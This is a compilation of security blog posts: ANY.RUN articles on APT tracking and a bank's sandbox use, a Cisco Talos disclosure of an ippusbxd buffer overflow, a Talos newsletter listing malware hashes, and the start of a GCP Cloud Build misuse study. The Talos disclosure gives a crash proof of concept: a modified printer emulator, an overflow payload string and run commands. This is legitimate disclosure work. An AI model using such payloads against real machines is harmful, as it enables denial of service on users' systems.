Advanced persistent threats (APTs) stand out as one of the most formidable challenges for businesses in the cybersecurity landscape. These threats can cause irreparable damage, leading to financial losses, data breaches, and reputational harm. 

APTs are defined as sophisticated targeted attacks typically conducted by highly funded adversaries: national agencies, state-sponsored groups, organized crime groups, corporate espionage actors.  

What Are APTs 

The name speaks for itself, APTs are:   

• Advanced: Having at hackers’ disposal the full (and ever-growing) arsenal of techniques and tools to get and maintain access to the target.  

• Persistent: The aim is to keep long-term access to the targeted system or network. This involves constant improving and updating of the tools to evade detection.  

• Threats: Such campaigns are intentionally malicious and inevitably harmful. They are backed by coordinated actions of skilled, motivated, organized, and well-resourced professionals.  

Why Are APTs a Significant Threat to Businesses 

APTs prefer to target large corporations, government entities, and critical infrastructure. Finance, manufacturing, healthcare, and energy are prime targets for APTs due to the high value of their assets, data and infrastructure. The consequences of a successful APT attack extend beyond financial loss and corporate damage — they can impact national security, cause market instability, disrupt economies, and put lives at risk. 
 
But no business, however modest-scale and unrelated to strategic industries, can consider itself safe:  

• Small and medium companies still possess valuable assets, handle sensitive customer information, financial data, or intellectual property 
• They are part of supply chains that can be disrupted by attacks 
• A successful infiltration into their communications grants access to larger partners or clients. 
• Along with all this, they have weaker security posture, invest less in cyber threat prevention. 

Detect Early, Defend Better: The Power of Threat Intelligence 

Threat intelligence is a pivotal element of an APT-resistant cybersecurity strategy. By gathering, analyzing, and applying intelligence on cyber threats, organizations can proactively detect and neutralize them before they escalate.  
 
TI provides: 

• Early Detection: Identifying indicators of compromise (IOCs) before damage occurs. 
• Behavioral Analysis: Understanding attacker tactics, techniques, and procedures (TTPs) to anticipate movements. 
• Threat Hunting: Actively searching for hidden threats within the network. 
• Stronger Security Posture: Defenses based on real-world threat insights. 
• Incident Response Efficiency: Rapidly responding to and mitigating APT incidents. 

How Threat Intelligence Lookup Facilitates APT Reconnaissance 

ANY.RUN’s Threat Intelligence Lookup is a solution fit for all these tasks: a state-of-the-art search engine for threat researchers and cybersecurity teams. It provides detailed insights into indicators of compromise (IOCs), malware behavior, and attack patterns.  
 
It supports over 40 search parameters to query a constantly updated database of threat data, collected from millions of public malware and phishing samples and manually analyzed by a team of threat analysts.  
 
For a business, it’s a source of actionable information for preventing, detecting and mitigating all sorts of cyberattacks up to APTs, thus avoiding operational disruptions, financial and reputational damages.  

How TI Lookup helps track APTs 

Wicked Panda APT: Closer Look at an Abused Registry Key 

A notorious Chinese APT group, APT41 aka Wicked Panda, employs a PowerShell-backdoor for compromising systems.

To maintain persistence, it adds its payload in Windows registry entry HKCUEnvironmentUserInitMprLogonScript which allows it to run malicious code automatically at each user login into the system. Besides, the hackers abuse a legitimate Microsoft’s forfiles.exe utility.  
 
This data is enough to combine a query for TI Lookup:

registryKey:”HKEY_CURRENT_USERENVIRONMENT” AND registryValue:”forfiles.exe” AND threatName:”backdoor” AND registryName:”USERINITMPRLOGONSCRIPT” 

From the search results, we can extract additional IOCs associated with such campaigns, like file hashes or mutexes, and use them for setting up threat detection and alerts.

The Tasks tab shows recent sandbox sessions with analysis of the attack. The sessions can be viewed in ANY.RUN’s Interactive Sandbox to study TTPs and other components of the attack.

MuddyWater APT: Identifying a Backdoor via Mutexes 

Another example: MuddyWater APT group from Iran is known for using PackageManager and DocumentUpdater mutexes in their malware campaigns. The mutexes are generated by their BugSleep backdoor.  
 
The attack starts through a phishing email, BugSleep gets deployed, creates a mutex and decrypts its configuration, including the addresses of command-and-control servers. This behavior has been observed in MuddyWater campaigns targeting organizations in Israel and other countries. 
 
We can accommodate both mutexes into a TI Lookup search request:  
 
(syncObjectName:”PackageManager” or syncObjectName:”DocumentUpdater”) and syncObjectOperation:”Create” and threatName:”muddywater” 

Diving deeper in the search results, we can identify the actual samples that use this mutex.

We can navigate to the sandbox sessions where these mutexes were used to explore the threat and its behavior in greater detail.

Lazarus Group: Following North Korea’s Biggest APT

Lazarus is one of the most active threats coming from North Korea. The group has been involved in many cyber attacks on both businesses and individuals. One of the recent examples involved conducting fake interviews with tech professionals to install malicious programs on their devices.

With TI Lookup, we can not only explore the most recent samples and collect indicators related to Lazarus but also subscribe to receive updates on specific queries.

Let’s use the simple query like threatName:”lazarus” and click the bell icon to subscribe to updates.

As soon as new indicators or sandbox sessions relevant to the query appear in TI Lookup’s database, we will be notified about them.

Learn more about notifications in TI Lookup

Conclusion 

APTs represent a high level of cyber threat due to their strategic nature, the resources behind them, and their capability to adapt and evolve over time. Organizations, especially those in critical sectors or handling sensitive information, need robust cybersecurity strategies to defend against such threats. Threat intelligence is a cornerstone of such a strategy, and TI Lookup from ANY.RUN has proven itself as a comprehensive tool for fueling intelligence with fresh contextual data. 

About ANY.RUN

ANY.RUN helps more than 500,000 cybersecurity professionals worldwide. Our interactive sandbox simplifies malware analysis of threats that target both Windows and Linux systems. Our threat intelligence products, TI Lookup, YARA Search, and Feeds, help you find IOCs or files to learn more about the threats and respond to incidents faster.

Request free trial of ANY.RUN’s services → 

The post How to Track Advanced Persistent Threats appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

Recently we had a chance to sit down for a chat with the Head of Cybersecurity at an investment bank. An hour-long conversation gave a sneak peek into the work of their cybersec team, challenges they face, and the use of ANY.RUN’s Interactive Sandbox.  

Here’s what we learned. 

Company and Team Overview 

We’re an investment bank based in Brussels. The total number of employees is about 750 people with 12 of them being on my cybersecurity team. Just like most companies out there we have to make do with limited resources and stay lean. That means wearing multiple hats and sharing different roles depending on the current situation at hand. Our threat analysts can jump in and handle incident response if need be and so on.  

What Made the Team Look for a Sandbox 

When I first took over this role, coming from a large international bank, my number one task was to take a look at the business’s entire cybersecurity setup and find ways to make it more efficient. In reality, it turned out to be messier than I expected. 

The team was literally getting swamped with alerts every day with no end in sight. Thankfully, having seen what a properly functioning cybersecurity department looks from the old job, I knew what kind of levers I had to start pulling to get the things to where they had to be. 

Fixing workflow meant new tools. A good malware sandbox was at the top of the list. Back at the large bank we had a whole selection of these from different vendors, including ANY.RUN. The CISO there often said, “Investing in good cybersecurity costs less than the incidents it prevents.” That helped a lot in securing budget whenever we wanted to test a new tool. 

Investing in good cybersecurity costs less than the incidents it prevents.

Basically, because I’d already seen sandboxes in action, I knew how critical they would be for building a more effective department. But if you are going to press me to pick one thing that made me jump to sandboxes right away, it was the speed boost they offered. Not just in terms of malware analysis, I mean across the board, for everything from spotting threats to responding to incidents.  

So, it was a total no-brainer to start looking at sandbox options from the day I stepped into my role. 

Why ANY.RUN 

After spending a week scrolling through vendors’ websites, I decided to just put together all the must-haves I wanted to see in the ideal solution. Eventually it came down to the two main features, apart from the basic stuff, of course. 

Banking means a ton of data privacy compliance, so we had to know our data would be secure in the sandbox and that it would meet all the regulations. Vendor’s privacy policies, the location of their servers, and how they handled data were really important. 

Naturally, threat detection performance was essential. But practicality for the team was also crucial. We needed a tool that gave us as many insights as possible, be it network traffic or system logs. It had to be helpful for both our initial triage and our more in-depth incident response work. 

And after I threw in ANY.RUN’s price, the choice became obvious. 

How Long They’ve Been Using ANY.RUN 

We’ve been using ANY.RUN for approximately 18 months now. 

Sandbox’s Impact on CyberSec Operations 

Integrating the sandbox was part of a bigger workflow overhaul, so we saw results almost instantly, in the first week. The team was able to churn through alerts and threat analysis at least twice as fast. This saved the bank hefty sums of money on incident response and recovery that were avoided thanks to our timely actions. But it was not just about going faster, though.   

Our threat understanding improved too. And it’s really down to ANY.RUN’s VM control. It lets the team explore files, browse websites, download and execute files. The hands-on approach saves hours of work and has now become our secret weapon for understanding complex malware behavior in the shorter time period. It is also much cheaper and more effective than running custom-built VMs on isolated computers that require a week of preparation. 

The combination of speed and knowledge allowed us to identify and prevent cyber attacks better than ever before.

The combination of speed and knowledge allowed us to identify and prevent cyber attacks better than ever before. It also helped us plan smarter, strategically and tactically, and respond to attacks much more effectively.

How ANY.RUN Fits into Larger Cybersecurity Strategy 

We regularly use ANY.RUN with other security solutions, which once again contributes to more efficient workflows, faster reaction time, and no money lost for the company.  

In one of the instances, the API helps us automatically submit suspicious files from our email gateway and other sources directly to the sandbox for analysis. When running the sandbox with an endpoint security solution, I recommend turning the automated mode on (Automated Interactivity — Editor). The service does a good job identifying threats on its own, which once again gives us a chance to save time for our team members. 

Common Threats Faced by the Bank 

Everyone knows that the financial industry is the number one target for criminals. That is why we face a myriad of threats at the same time. But for us, social engineering threats like phishing emails are a constant headache. The number of ransomware and credential stealing attempts we have prevented thanks to the sandbox is already in the hundreds. Had we not identified them, this would be devastating for the business.  

The number of ransomware and credential stealing attempts we have prevented thanks to the sandbox is already in the hundreds.

Beyond just reacting to threats, we also use the sandbox for proactive threat hunting. When we encounter new, unknown malware strains, we detonate them in the sandbox specifically to collect detailed behavioral data. This intelligence then allows us to enrich our detection rules across our security infrastructure and better protect against future variations of these threats. 

Stopping Ransomware from a Supplier Email 

Let me share a concrete example where the sandbox truly proved its worth. One day we received an email from our long-term supplier. It was a fairly routine communication, but it contained a zip attachment with a password, which raised a red flag for our email security system.  

Following our procedures, one of the analysts detonated the email within the sandbox, opened the archive, and discovered an executable inside. After the executable ran in the sandbox environment, we quickly saw the entire attack chain: the executable turned out to be a loader, which downloaded and initiated a ransomware within the virtual machine. 

Timely sandboxing prevented the company from suffering millions of dollars in losses, damaged reputation, and years of litigation.

Thanks to the sandbox, we were able to identify this ransomware threat before it could reach any of our actual systems. We blocked the email across our organization and warned other departments about this specific phishing campaign. Timely sandboxing prevented the company from suffering millions of dollars in losses, damaged reputation, and years of litigation.

Future Plans 

We never stop improving our security infrastructure, and with strong advancements in AI, we cannot afford to ignore this trend. Right now we focus on AI-assisted automation and our plans include deeper integration with the SOAR and SIEM platforms. 

Of course, the AI-powered analysis within ANY.RUN’s sandbox fits perfectly into this strategy. Our team regularly turns to this feature for quick tips on the malicious activities detected during analysis.  

Advice for Other Organizations Choosing a Sandbox 

Before you even start evaluating vendors, be crystal clear about why you need a sandbox and what specific security problems you’re trying to solve. What are your biggest malware-related pain points? Having defined use cases will help you focus your evaluation and ensure the sandbox you choose truly addresses your needs. 

But let’s be honest: no security solution is a magic bullet. The final decision always rests with you and your team. 

Conclusion 

We want to thank the guest for sharing their detailed insights into the inner workings of a security team at a financial institution. We hope this story can help other organizations facing similar issues. If you are using ANY.RUN’s products and willing to share your experiences with the community, please send us an email at content@any.run. 

How ANY.RUN’s Services Help Banks 

ANY.RUN’s suite of cybersecurity tools is trusted by numerous businesses in the finance industry. 

• Interactive Sandbox offers fast and extensive malware and phishing analysis to streamline security operations and maintain better defense. 

• TI Lookup provides instant context for indicators of compromise (IOCs), indicators of behavior (IOBs), and indicators of attack (IOAs) to help banks speed up incident response, threat hunting, and save resources. 

• TI Feeds allows banks to identify emerging threats before they have a chance to inflict damage by supplying a real-time stream of network indicators. 

Test ANY.RUN’s tools in your organization with 14-day free trial →

The post I Used a Sandbox to Strengthen Bank’s Security—Here’s How It Worked appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

By Aleksandar Nikolich

Earlier this year, we conducted code audits of the macOS printing subsystem, which is heavily based on the open-source CUPS package. During this investigation, IPP-USB protocol caught our attention. IPP over USB specification defines how printers that are available over USB can only still support network printing via Internet Printing Protocol (IPP). After wrapping up the macOS investigation, we decided to take a look at how other operating systems handle the same functionality. 

Our target Linux system was running Ubuntu 22.04, a long-term support (LTS) release that handled IPP-USB via the “ippusbxd” package. This package is part of the OpenPrinting suite of printing tools that was under a lot of scrutiny recently due to several high severity vulnerabilities in different components. Publicity around these issues has caused undue stress on the OpenPrinting suite maintainers, so, although the potential vulnerability we are about to discuss is very real, mitigating circumstances make it less severe. The vulnerability is discovered and made unexploitable by modern compiler features, and we are highlighting this rare win. Additionally, the “ippusbxd” package is replaced by a safer “ipp-usb” solution, making exploitation of this vulnerability less likely.

Discovering the vulnerability

On Ubuntu-flavored Linux systems, when a new USB printer is plugged in, UDEV subsystem will invoke an IPP-USB handler to enable IPP-USB functionality. In Ubuntu 22.04, this is “ippusbxd” daemon, which handles communication with the printer, announces it to the network over DNS-SD, and makes it available on a network port. As this has a potential for an interesting attack surface, it piqued our interest.

The first step when getting familiar with a code base is to try to build it. While doing so, we were presented with the following message:

In file included from /usr/include/string.h:495,
                 from ippusbxd-1.34/src/capabilities.c:9:
In function ‘strncpy’,
    inlined from ‘get_format_paper’ at ippusbxd-1.34/src/capabilities.c:205:9:
/usr/include/x86_64-linux-gnu/bits/string_fortified.h:106:10: warning: ‘__builtin___strncpy_chk’ 
              specified bound depends on the length of the source argument [-Wstringop-overflow=]
  106 |   return __builtin___strncpy_chk (__dest, __src, __len, __bos (__dest));
      |          ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ippusbxd-1.34/src/capabilities.c: In function ‘get_format_paper’:
ippusbxd-1.34/src/capabilities.c:204:13: note: length computed here
  204 |         a = strlen(val) - strlen(tmp);
      |             ^~~~~~~~~~~
In file included from /usr/include/string.h:495,
                 from ippusbxd-1.34/src/capabilities.c:9: 

Above is a compiler warning, enabled by “-Wstringop-overflow”, which performs lightweight static code analysis during compilation to catch common memory corruption issues. In this particular case, the compiler is telling us that there exists a potential vulnerability in the highlighted code. Essentially, compiler analysis has judged that a length argument to a “strncpy” call is based on the length of the source operand instead of the destination operand. This is a classic case of a stack-based buffer overflow involving the “strcpy” family of functions. 

To confirm that this is indeed a true positive finding, we looked at code context:

char test1[255] = { 0 };
       char test2[255] = { 0 };
       char *tmp = strchr(val, '=');
       if (!tmp) continue;
       a = strlen(val) - strlen(tmp);           
       val+=(a + 1);
       tmp = strchr(val, ' ');
       if (!tmp) continue;
       a = strlen(val) - strlen(tmp);                                    
       strncpy(test2, val, a);                 

The above excerpt is in the part of the code that is trying to parse paper dimensions supported by the printer. Expected input would be:

{ x-dimension=1234 y-dimension=1234 }

Calls to “strlen” are used to calculate the length of the incoming numerical values, and the code can indeed result in a straightforward buffer overflow if the value specified in ”y-dimension” is longer than the buffer can hold.

Looking up the users of the offending code reveals that it’s only used during printer initialization, while interrogating printer capabilities:

int
ipp_request(ippPrinter *printer, int port)
{
  http_t    *http = NULL; 
  ipp_t *request, *response = NULL;
  ipp_attribute_t *attr;
  char uri[1024];
  char buffer[1024];
  /* Try to connect to IPP server */
  if ((http = httpConnect2("127.0.0.1", port, NULL, AF_UNSPEC,
               HTTP_ENCRYPTION_IF_REQUESTED, 1, 30000, NULL)) == NULL) {
    printf("Unable to connect to 127.0.0.1 on port %d.n", port);
    return 1;
  }
  snprintf(uri, sizeof(uri), "http://127.0.0.1:%d/ipp/print", port);
  /* Fire a Get-Printer-Attributes request */
  request = ippNewRequest(IPP_OP_GET_PRINTER_ATTRIBUTES);
  ippAddString(request, IPP_TAG_OPERATION, IPP_TAG_URI, "printer-uri",
                 NULL, uri);
  response = cupsDoRequest(http, request, "/ipp/print");

In other words, this vulnerability would be triggered if a printer connected to a machine’s USB port reports supporting abnormally large media size

The compiler was right, this indeed constitutes a vulnerability. If exploited against a locked laptop, it could result in arbitrary code execution in a process with high privileges. 

Developing a proof of concept

To prove the existence and severity of this vulnerability, we need to develop a proof of concept (PoC) exploit. Since triggering this vulnerability technically requires a malicious printer being physically connected to the USB port, we have some work to do. 

An obvious route for implementing this is by using Linux USB Gadget API. The Linux USB Gadget API allows developers to create custom software-defined USB devices (i.e., gadgets). It enables device emulation, interface management, and communication protocol handling for virtual devices. In this scenario, an embedded Linux system acts as a USB device, instead of a USB host, and emulates desired functionality. Gadget drivers emulating an ethernet network interface or mass storage device are readily available in all Linux systems, and small single board computers can be used for this purpose. Among these, Raspberry Pi Zero fits all the requirements. 

Implementing a whole emulated USB printer would require significant effort, but PAPPL (a project related to OpenPrinting) already implements a featureful printer gadget that we can easily repurpose. A minimal modification to the source code is required to make the emulated printer report malicious media dimensions:

diff --git a/pappl/printer-driver.c b/pappl/printer-driver.c
index 10b7fda..b872865 100644
--- a/pappl/printer-driver.c
+++ b/pappl/printer-driver.c
@@ -747,6 +747,7 @@ make_attrs(
       ippDelete(cvalues[i]);
   }
+  ippAddString(attrs, IPP_TAG_PRINTER, IPP_CONST_TAG(IPP_TAG_KEYWORD), "media-size-supported",  NULL, getenv("EXPLOIT_STRING"));                      [5]
   // media-col-supported
   memcpy((void *)svalues, media_col, sizeof(media_col));
diff --git a/testsuite/testpappl.c b/testsuite/testpappl.c
index 460058d..7972cb6 100644
--- a/testsuite/testpappl.c
+++ b/testsuite/testpappl.c
@@ -812,7 +812,7 @@ main(int  argc,                             // I - Number of command-line arguments
     }
     else
     {
-      printer = papplPrinterCreate(system, /* printer_id */0, "Office Printer", "pwg_common-300dpi-600dpi-srgb_8", "MFG:PWG;MDL:Office Printer;", device_uri);
+      printer = papplPrinterCreate(system, /* printer_id */0, "Office Printer", "pwg_common-300dpi-600dpi-srgb_8", "MFG:PWG;MDL:Office Printer;CMD:pwg;", device_uri);         [4]
       papplPrinterSetContact(printer, &contact);
       papplPrinterSetDNSSDName(printer, "Office Printer");
       papplPrinterSetGeoLocation(printer, "geo:46.4707,-80.9961");

In the above code, we instruct the emulated printer to use contents of the “EXPLOIT_STRING” environment variable as its “media-size-supported” payload. 

To set up the trigger, we first set the `EXPLOIT_STRING` to contain our buffer overflow payload:

export EXPLOIT_STRING=`perl -e 'print "{x=a y=" . "A"x600 . " }"'`

Above will report `y` dimension to have a series of 600 A characters–enough to overflow both stack buffers and cause a crash. 

Then, we run the following on our Raspberry Pi Zero device:

testsuite/testpappl -U -c -1 -L debug -l - --usb-vendor-id 0xeaea --usb-product-id 0xeaea

The above command, using a utility from PAPPL suite, sets up an emulated USB printer device that will, when connected via USB to our target machine, deliver our buffer overflow payload. 

The next step is to simply connect the Raspberry Pi Zero device to the target and observe the effect:

[520463.829183] usb 3-1: new high-speed USB device number 85 using xhci_hcd
[520463.977791] usb 3-1: New USB device found, idVendor=eaea, idProduct=eaea, bcdDevice= 4.19
[520463.977800] usb 3-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[520463.977804] usb 3-1: Product: Office Printer
[520463.977807] usb 3-1: Manufacturer: PWG
[520463.977809] usb 3-1: SerialNumber: 0
[520463.979354] usblp 3-1:1.0: usblp0: USB Bidirectional printer dev 85 if 0 alt 0 proto 2 vid 0xEAEA pid 0xEAEA
[520464.014666] usblp0: removed
[520464.020827] ippusbxd[647107]: segfault at 0 ip 00007f9886cd791d sp 00007ffe5965e558 error 4 in libc.so.6[7f9886b55000+195000]
[520464.020839] Code: 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 89 f8 48 89 fa c5 f9 ef c0 25 ff 0f 00 00 3d e0 0f 00 00 0f 87 23 01 00 00 <c5> fd 74 0f c5 fd d7 c1 85 c0 74 57 f3 0f bc c0 e9 2c 01 00 00 66

The above debug log shows that a segmentation fault has occurred in `ippusbxd` daemon as expected, signifying that we have successfully triggered this vulnerability.

FORTIFY_SOURCE

However, closer inspection of the binary and the crash reveals the following:

<-195299776>Note: TCP: sent 1833 bytes
<-228919744>Note: Thread #2: No read in flight, starting a new one
*** buffer overflow detected ***: terminated
Thread 4 "ippusbxd" received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff3dbe640 (LWP 649455)]
__pthread_kill_implementation (no_tid=0, signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:44
44      ./nptl/pthread_kill.c: No such file or directory.
(gdb) bt
#0  __pthread_kill_implementation (no_tid=0, signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:44
#1  __pthread_kill_internal (signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:78
#2  __GI___pthread_kill (threadid=140737284662848, signo=signo@entry=6) at ./nptl/pthread_kill.c:89
#3  0x00007ffff7aea476 in __GI_raise (sig=sig@entry=6) at ../sysdeps/posix/raise.c:26
#4  0x00007ffff7ad07f3 in __GI_abort () at ./stdlib/abort.c:79
#5  0x00007ffff7b31676 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7c8392e "*** %s ***: terminatedn") at ../sysdeps/posix/libc_fatal.c:155
#6  0x00007ffff7bde3aa in __GI___fortify_fail (msg=msg@entry=0x7ffff7c838d4 "buffer overflow detected") at ./debug/fortify_fail.c:26
#7  0x00007ffff7bdcd26 in __GI___chk_fail () at ./debug/chk_fail.c:28
#8  0x00007ffff7bdc769 in __strncpy_chk (s1=s1@entry=0x7ffff3dbd090 "", s2=s2@entry=0x7ffff3dbd5f7 'A' <repeats 200 times>..., n=n@entry=601, s1len=s1len@entry=255) at ./debug/strncpy_chk.c:26
#9  0x000055555555f502 in strncpy (__len=601, __src=0x7ffff3dbd5f7 'A' <repeats 200 times>..., __dest=0x7ffff3dbd090 "") at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:95
#10 get_format_paper (val=0x7ffff3dbd5f7 'A' <repeats 200 times>..., val@entry=0x7ffff3dbd5f0 "{x=a y=", 'A' <repeats 193 times>...) at ./ippusbxd_testing/ippusbxd-1.34/src/capabilities.c:220
#11 0x000055555555fa62 in ipp_request (printer=printer@entry=0x7fffec000b70, port=<optimized out>) at ./ippusbxd_testing/ippusbxd-1.34/src/capabilities.c:297
#12 0x000055555555d07c in dnssd_escl_register (data=0x5555555a77e0) at ./ippusbxd_testing/ippusbxd-1.34/src/dnssd.c:226
#13 0x00007ffff7b3cac3 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#14 0x00007ffff7bce660 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81

What caused the crash wasn’t directly the buffer overflow that overwrote stack content causing memory corruption. Nor was it stack smashing protection, a probabilistic mitigation that can be bypassed under certain conditions. In this case, the crash was caused by explicit program termination due to a detected condition for buffer overflow before it happened. This detection is the result of a compiler feature called “FORTIFY_SOURCE”, which replaces common error-prone functions with safer versions automatically. This means that the vulnerability is strongly mitigated and isn’t exploitable beyond causing a crash. 

Conclusion

We often hear of all the failings of software and vulnerabilities and mitigation bypasses, and we felt we should take this opportunity to highlight the opposite. In this case, modern compiler features, static analysis via -Wstringop-overflow and strong mitigation via FORTIFY_SOURCE, saved the day. These should always be enabled by default. Additionally, those compiler warnings are only useful if someone actually reads them. 

In this case, the impact of this vulnerability would be minor even if it were widely exploitable. The `ippusbxd` package development was abandoned in favor of a superior implementation via the “ipp-usb package implemented in a memory safe language that would prevent these sorts of issues from occurring in the first place. Developers readily point out that `ippusbxd` has been surpassed by `ipp-usb`, isn’t maintained, and isn’t used by any operating system. Ubuntu 22.04 being a long-term support version is an exception. Newer versions have switched to using `ipp-usb`. 

Cisco Talos Blog – ​Read More

“Enough Ripples, And You Change The Tide. For The Future Is Never Truly Set.” X-Men: Days of Future Past

In January, I dedicated some time to examine threat data from 2024, comparing it with the previous years to identify anomalies, spikes, and changes.  

As anticipated, the number of Common Vulnerabilities and Exposures (CVEs) rose significantly, from 29,166 in 2023 to 40,289 in 2024, marking a substantial 38% increase. Interestingly, the severity levels of the CVEs remained centered around 7-8 for both years. 

When taking a closer look at the known exploited vulnerabilities reported by the Cybersecurity and Infrastructure Security Agency (CISA), I observed that the numbers remained relatively stable, with 186 in 2024 compared to 187 in 2023. However, there was a noteworthy 36% increase for the critical vulnerabilities scored (9-10).  

There is more to uncover from this data, and the analysis is still ongoing.  

It was also time to “stack” the data of our Quarterly Incident Response Reports. The standout aspects are the initial access vectors to me. “Exploiting Public Facing Applications” and “Valid Accounts” were dominant, outperforming other methods. This serves as a timely reminder to implement (proper) MFA and other identity and access control solutions as well as patch regularly and replace end-of-life assets. 

Reflecting on CVEs, patching, initial access vectors and also lateral movement, it’s important to remember that the “free” support for Windows 10 will end on October 14, 2025.  

Mark.your.calendars. Please. And plan accordingly to ensure your systems remain secure.  

The one big thing

Cisco Talos’ Vulnerability Research team recently disclosed three vulnerabilities in Observium, three vulnerabilities in Offis, and four vulnerabilities in Whatsup Gold.   

Why do I care?

Observium and WhatsUp Gold can be categorized as Network Monitoring Systems (NMS). A NMS as such holds a lot of valuable information such as Network Topology, Device Inventory, Log Files, Configuration Data and more, making them an attractive for the bad guys. 

So now what?

The vulnerabilities mentioned in this blog post have been patched by their respective vendors, make sure your installation is up to date. 

Top security headlines of the week

The Cybersecurity and Infrastructure Security Agency analyzed a patient monitor used by the Healthcare and Public Health sector and discovered an embedded backdoor. (CISA) 

Apple has released software updates to address several security flaws across its portfolio, including a zero-day vulnerability that it said has been exploited in the wild. (Hacker News) 

Nearly 100 journalists and other members of civil society using WhatsApp were targeted by a “zero-click” attack (Guardian) 

DeepSeek AI tools impersonated by infostealer malware on PyPI (Bleeping Computer) 

Can’t get enough Talos?

• Web shell frenzies, the first appearance of Interlock, and why hackers have the worst cybersecurity: IR Trends Q4 2024 
• New TorNet backdoor seen in widespread campaign 

Upcoming events where you can find Talos

Talos team members: Martin LEE, Thorsten ROSENDAHL, Yuri KRAMARZ, Giannis TZIAKOURIS, and Vanja SVAJCER will be speaking at Cisco Live EMEA. Amsterdam, Netherlands, 9-14 February.   

S4x25 (February 10-12, 2025)
Tampa, FL

RSA (April 28-May 1, 2025)
San Francisco, CA

TIPS 2025 (May 14-15, 2025)
Arlington, VA

Most prevalent malware files from the week

SHA 256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 

MD5: 2915b3f8b703eb744fc54c81f4a9c67f 

VirusTotal: https://www.virustotal.com/gui/file/9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 

Typical Filename: VID001.exe 

Claimed Product: N/A 

Detection Name: Win.Worm.Coinminer::1201 

 

SHA256: 47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca 

MD5: 71fea034b422e4a17ebb06022532fdde 

VirusTotal: https://www.virustotal.com/gui/file/47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca 

Typical Filename: VID001.exe 

Claimed Product: n/a  

Detection Name: Coinminer:MBT.26mw.in14.Talos 

 

SHA256:873ee789a177e59e7f82d3030896b1efdebe468c2dfa02e41ef94978aadf006f  

MD5: d86808f6e519b5ce79b83b99dfb9294d   

VirusTotal: 

https://www.virustotal.com/gui/file/873ee789a177e59e7f82d3030896b1efdebe468c2dfa02e41ef94978aadf006f 

Typical Filename: n/a  

Claimed Product: n/a   

Detection Name: Win32.Trojan-Stealer.Petef.FPSKK8   

 

SHA 256:7b3ec2365a64d9a9b2452c22e82e6d6ce2bb6dbc06c6720951c9570a5cd46fe5   

MD5: ff1b6bb151cf9f671c929a4cbdb64d86   

VirusTotal: https://www.virustotal.com/gui/file/7b3ec2365a64d9a9b2452c22e82e6d6ce2bb6dbc06c6720951c9570a5cd46fe5  

Typical Filename: endpoint.query   

Claimed Product: Endpoint-Collector   

Detection Name: W32.File.MalParent   

  

SHA 256: 744c5a6489370567fd8290f5ece7f2bff018f10d04ccf5b37b070e8ab99b3241 

MD5: a5e26a50bf48f2426b15b38e5894b189 

VirusTotal: https://www.virustotal.com/gui/file/744c5a6489370567fd8290f5ece7f2bff018f10d04ccf5b37b070e8ab99b3241 

Typical Filename: a5e26a50bf48f2426b15b38e5894b189.vir 

Claimed Product: N/A 

Detection Name: Win.Dropper.Generic::1201 

Cisco Talos Blog – ​Read More

Background & Public Research

Google Cloud Platform (GCP) Cloud Build is a Continuous Integration/Continuous Deployment (CI/CD) service offered by Google that is utilized to automate the building, testing and deployment of applications. Orca Security published an article describing certain aspects of the threat surface posed by this service, including a supply chain attack vector they have termed “Bad.Build”. One specific issue they identified, that Cloud Build pipelines with the default Service Account (SA) could be utilized to discover all other permissions assignments in a GCP project, was resolved by Google after Orca reported it. The general threat vector of utilizing Cloud Build pipelines to perform malicious actions, however, is still present. A threat actor with just the ability to submit and run a Cloud Build job (in other words, who has the cloudbuild.builds.create permission) can execute any gcloud GCP command line interface (CLI) command that the Cloud Build SA has the permissions to perform. A threat actor could perform these techniques either by obtaining credentials for a GCP user or SA (Mitre ATT&CK T1078.004) or by pushing or merging code into a repository with a Cloud Build pipeline configured (Mitre T1195.002). Orca Security focused on utilizing this threat vector to perform a supply chain attack by adding malicious code to a victim application in GCP Artifact Registry. Talos did not extensively examine this technique since Orca’s research was quite comprehensive, but confirmed it is still possible.

Original Research

Cisco Talos research detailed below focused on malicious actions enabled by the storage.* permission family, while the original Orca research detailed a supply chain attack scenario enabled by the artifactregistry.* permissions. Beyond the risk posed by the default permissions, any additional permissions assigned to the Cloud Build SA could potentially be leveraged by a threat actor with access to this execution vector, which is an area for potential future research. While Orca mentioned that a Cloud Build job could be triggered by a merge event in a code repository, in their article they utilized the gcloud Command Line Interface (CLI) tool to trigger the malicious build jobs they performed. Talos meanwhile utilized commits to a GitHub repository configured to trigger a Cloud Build job, since this is a form of Initial Access vector that would allow a threat actor to target GCP accounts without access to an identity principal for the GCP account.

Unlike the Orca Security findings, Talos does not assess that the attack path illustrated in the following research represents a vulnerability or badly architected service. There are legitimate business use cases for every capability and default permission that we utilized for malicious intent, and Google has provided robust security recommendations and defaults. This research, instead, should be taken as an instructive illustration of the risks posed by these capabilities for cloud administrators who may be able to limit some of the features that were misused if they are not needed in a particular account. It can also be a guide for security analysts and investigators who can monitor the Operations Log events identified, threat hunt for their misuse, or identify them in a post-incident incident response workflow.

Defensive Recommendations Summary

